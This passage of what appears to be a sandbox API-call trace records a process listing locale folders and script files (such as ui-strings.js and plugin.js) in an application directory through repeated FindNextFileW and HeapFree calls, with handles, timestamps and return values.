ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0185.638] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0185.638] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0185.639] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0185.639] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0185.639] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0185.639] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0185.639] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0185.639] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0185.640] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0185.640] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0185.640] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0185.640] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0185.641] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0185.641] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0185.641] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0185.641] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0185.641] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0185.641] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0185.641] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0185.642] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0185.642] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0185.642] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0185.642] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0185.642] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0185.642] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0185.642] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0185.643] FindClose (in: hFindFile=0x45317c0 | out: hFindFile=0x45317c0) returned 1 [0185.643] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0185.643] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2b4e3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0185.643] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0185.646] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0185.646] FindClose (in: hFindFile=0x4531740 | out: hFindFile=0x4531740) returned 1 [0185.646] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.646] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b7c046, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b7c046, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b7c046, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="editpdf", cAlternateFileName="")) returned 1 [0185.647] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0185.647] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b7c046, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b7c046, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0185.652] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.652] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f0f931, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f0f931, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0185.652] FindClose (in: hFindFile=0x4531e80 | out: hFindFile=0x4531e80) returned 1 [0185.652] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0185.652] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f0f931, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f0f931, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f0f931, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0 [0185.652] FindClose (in: hFindFile=0x4531dc0 | out: hFindFile=0x4531dc0) returned 1 [0185.653] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0185.653] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0185.653] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.653] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0185.653] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.653] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0185.654] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.654] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0185.654] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.654] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0185.654] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.654] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0185.654] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.654] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0185.655] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.655] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0185.657] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.657] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0185.657] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.657] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0185.658] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.658] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0185.660] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.660] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0185.661] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.661] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0185.662] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.662] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0185.664] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.664] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0185.665] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.665] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0185.666] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.666] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0185.667] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.667] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0185.803] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.803] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0185.804] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.804] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, 